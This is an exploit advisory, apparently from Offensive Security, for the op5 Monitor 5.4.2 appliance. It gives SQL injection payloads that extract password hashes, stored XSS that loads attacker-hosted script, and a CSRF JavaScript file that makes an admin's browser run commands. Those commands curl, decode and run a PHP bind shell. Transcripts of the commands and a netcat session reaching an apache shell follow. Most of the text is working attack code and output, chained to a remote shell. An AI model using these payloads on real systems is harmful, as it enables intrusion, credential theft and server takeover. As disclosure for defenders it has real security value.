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体验盒子# Author: loneferret of Offensive Security
# Product: op5 Monitoring (VM appliance)
# Version: 5.4.2
# Vendor Site: http://www.op5.com/
# Software Download: http://www.op5.com/get-op5-monitor/get-started/
# Software Description:
# op5 is a market leading developer of Open Source Management solutions.
# op5 develops and delivers enterprise-class software for monitoring and administration
# of the whole IT, from hardware and software all the way to virtual or cloud based services.
# The solutions comes in a fully supported package called op5 Monitor. The architecture
# supports scalability from the small and business critical IT to the very large IT with
# tens of thousands of actively controlled services.
# Vulnerabilities:
# SQL Injection
# Cross Site Request Forgery
# Stored XSS
# Description path to Shell:
# Several vulnerabilities are present in this software. All of which need different
# levels of authentication. SQLi, CSRF and Stored XSS are present and can be
# triggered giving variant degrees of results. From interesting to just plain annoying.
#
# But most interesting is the admin's (or the default monitor user) ability to run
# shell commands from the web-interface. Although these commands are limited, it is
# still possible to get a shell providing some conditions are met.
#
# As all of the vulnerabilities are post-authentication, it assumes the attacker is
# a user with access to the web application. In this case, a low-privilege user is enough to
# get the ball rolling in getting a shell. With enough access our "disgruntled employee"
# can leverage the XSS & CSRF vulnerabilities and trick the higher privileged users to
# setup a Bind-Shell.
# SQLi PoC 1:
# Minimum Access Rights needed: authorized_for_all_hosts
# Page: /index.php/status/hostgroup_grid?items_per_page=
# Original SQL statement called: select * from hostgroup limit 0 union 10 offset 0
# Injection point: select * from hostgroup limit 0 union <HERE> offset 0
# Payload: 0' union select 1,2,3,4,5,6,7--
# Get password hash for user with '1' (usually monitor)
# hostgroup_grid?items_per_page=0 union select 1,2,(select password from users where id=1),4,5,6,7--
# mysql> describe users;
# +---------------+------------------+------+-----+----------+----------------+
# | Field | Type | Null | Key | Default| Extra|
# +---------------+------------------+------+-----+----------+----------------+
# | id| int(11) unsigned | NO | PRI | NULL | auto_increment |
# | realname| varchar(100) | NO | | NULL ||
# | email | varchar(127) | NO | | NULL ||
# | username| varchar(100) | NO | UNI |||
# | password_algo | varchar(20)| NO | | b64_sha1 ||
# | password| varchar(50)| NO | | NULL ||
# | logins| int(10) unsigned | NO | | 0||
# | last_login| int(10) unsigned | YES| | NULL ||
# +---------------+------------------+------+-----+----------+----------------+
# SQLi PoC 2:
# Page: all?items_per_page=
# https://victim/monitor/index.php/status/service/all?items_per_page=25,0--
# Stored XSS PoC:
# Minimum Access Rights needed: authorized_for_all_hosts
# authorized_for_all_host_commands
# Page: /index.php/command/submit?host=[SYSTEM-NAME]&service=&cmd_typ=ADD_HOST_COMMENT
# In the Comment input field
# Payload: <script>alert(document.cookie);</script>
# <iframe src="http://something.html></iframe>
# <script src="http://attacker/xss.js></script>
#
# Setup for shell
# With some explanations...
# Step 1: XSS
# Payload in Host Comment: <script src="http://attacker/op5-shell.js"></script>
# Step 2: Create JavaScript file to download shell file.
# op5-shell.js File
#
function triggerShell(){
var url = "https://victim/monitor/op5/nacoma/command_test.php?cmd_str=ifconfig;";
url += "curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;"
url += "base64 -d /tmp/b64Bind.txt > /tmp/hell.txt;php /tmp/hell.txt";
var request = new XMLHttpRequest();
request.open('GET', url, false);
request.send(null);
}
function setupConf(){
// The admin needs to visit this page at least once, in order to get the CSRF to work and
// call the 'command_test.php?cmd_str' and issue commands. Once the page has been
// successfully called, we request our malicious link.
var request = new XMLHttpRequest();
request.open('GET', 'https://victim/monitor/index.php/configuration/configure', false);
request.send(null);
if (request.status === 200) {
triggerShell();
}
}
setupConf();
#
# End of file
# Step 3:
# netcat into victim on port 4444
# Well that's pretty much it. Once the administrator looks at the comment page associated with
# the machine the XSS is triggered and things happen. The fun part is, even if the comment
# is deleted, it's saved in the logs. So when that is visited the the Bind-Shell is
# triggered once again. It's actually a pain to get rid of once it's there.
#
# Shell commands from the Web-Interface:
# These are very limited in regards of rights and privileges. The commands aren't run
# directly froma command shell but rather using a small complied script call "asmonitor".
# All the commands, from a shell's standpoint, are run with the "monitor" user.
# bash-3.2$ /usr/bin/asmonitor
# usage: asmonitor arg1 arg2 arg3 argn...
# Chaining multiple commands is not permitted and only the first command will succeed
# with the second one failing. Also commands requiring multiple parameters, such
# as 'wget' will also fail. As "asmonitor" mistakes options as commands due to the spaces
# between them.
# One way to circumvent this limitation of multiple commands is with the " ; " character.
# Example, "ifconfig ifconfig" will not work, with only the first "ifconfig" to successfully
# execute. Placing "ifconfig;ifconfig" in the web-interfaces's input box will result in
# both commands executing. This leads us to deduce the second 'ifconfig' is not running
# in a jailed environment. Providing us with a greater arsenal of commands available to us.
#
# Unfortunately due to rights restriction, we can't just download a file directly to our webroot.
# We do have a few rights in the /tmp folder. Unfortunately we can't just download a file
# file there either. This is what "wget" with the "-o" options gives:
# Command:
# ifconfig;wget http://attacker/xss.js -o /tmp/test.txt
# --2012-08-22 04:03:46--http://172.16.194.188/xss.js
# Connecting to 172.16.194.188:80... connected.
# HTTP request sent, awaiting response... 200 OK
# Length: 14 [application/javascript]
# xss.js: Permission denied
#
# Cannot write to `xss.js' (Permission denied).
# We can however save the output of a file called remotely using 'curl'.
# Command:
# curl http://attacker/remote.txt > /tmp/test.txt
|
# bash-3.2$ cat test.txt
#% Total% Received % XferdAverage Speed TimeTime TimeCurrent
# DloadUpload Total SpentLeftSpeed
#0230230 0186680 --:--:-- --:--:-- --:--:-- 0
# Content of Remote file
# Well it's not perfect, and we still can't download a shell since the all that
# transfer information gets in the way of any PHP tags. We can however output text,
# which would be our shell code base64 encoded. This way curl will just display content
# of the file.
# Command:
# curl http://attcker/b64shell.txt > /tmp/b64Bind.txt;base64 -d /tmp/b64Bind.txt > /tmp/hell.txt
|
# bash-3.2$ cat b64Bind.txt
# PD9waHAJCQoJCQlAc2V0X3RpbWVfbGltaXQoMCk7IEB.... and so on.
# From here, using our jailbroken "shell" from the web interface, it's a simple
# matter of decoding it [base64 -d /tmp/b64Bind.txt > /tmp/hell.txt].
# Command:
|
# bash-3.2$ cat hell.txt
# < ?php
# @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);
# .
# .
# .
# ? >
# Luckily for us we can execute some stuff as well from our web interface.
# From here we simply call our PHP shell using the "php" command, this should open
# us port 4444 give provide us with a shell on the system.
|
# Victim Machine:
# bash-3.2$ netstat -antp | grep 4444
# (Not all processes could be identified, non-owned process info
# will not be shown, you would have to be root to see it all.)
# tcp00 0.0.0.0:44440.0.0.0:* LISTEN9432/php
# Attacking Machine:
# root@harvey:~# ifconfig eth2
# eth2 Link encap:EthernetHWaddr 00:50:56:3b:4b:ad
#inet addr:172.16.194.188Bcast:172.16.194.255Mask:255.255.255.0
#inet6 addr: fe80::250:56ff:fe3b:4bad/64 Scope:Link
#UP BROADCAST RUNNING MULTICASTMTU:1500Metric:1
#RX packets:160217 errors:0 dropped:0 overruns:0 frame:0
#TX packets:205140 errors:0 dropped:0 overruns:0 carrier:0
#collisions:0 txqueuelen:1000
#RX bytes:32606164 (32.6 MB)TX bytes:140956811 (140.9 MB)
#Interrupt:19 Base address:0x2080
|
# root@harvey:~# nc -vn 172.16.194.198 4444
# (UNKNOWN) [172.16.194.198] 4444 (?) open
# whoami
# apache
# uname -a
# Linux op5-system 2.6.18-164.11.1.el5 #1 SMP Wed Jan 20 07:32:21 EST 2010 x86_64 x86_64 x86_64 GNU/Linux
体验盒子
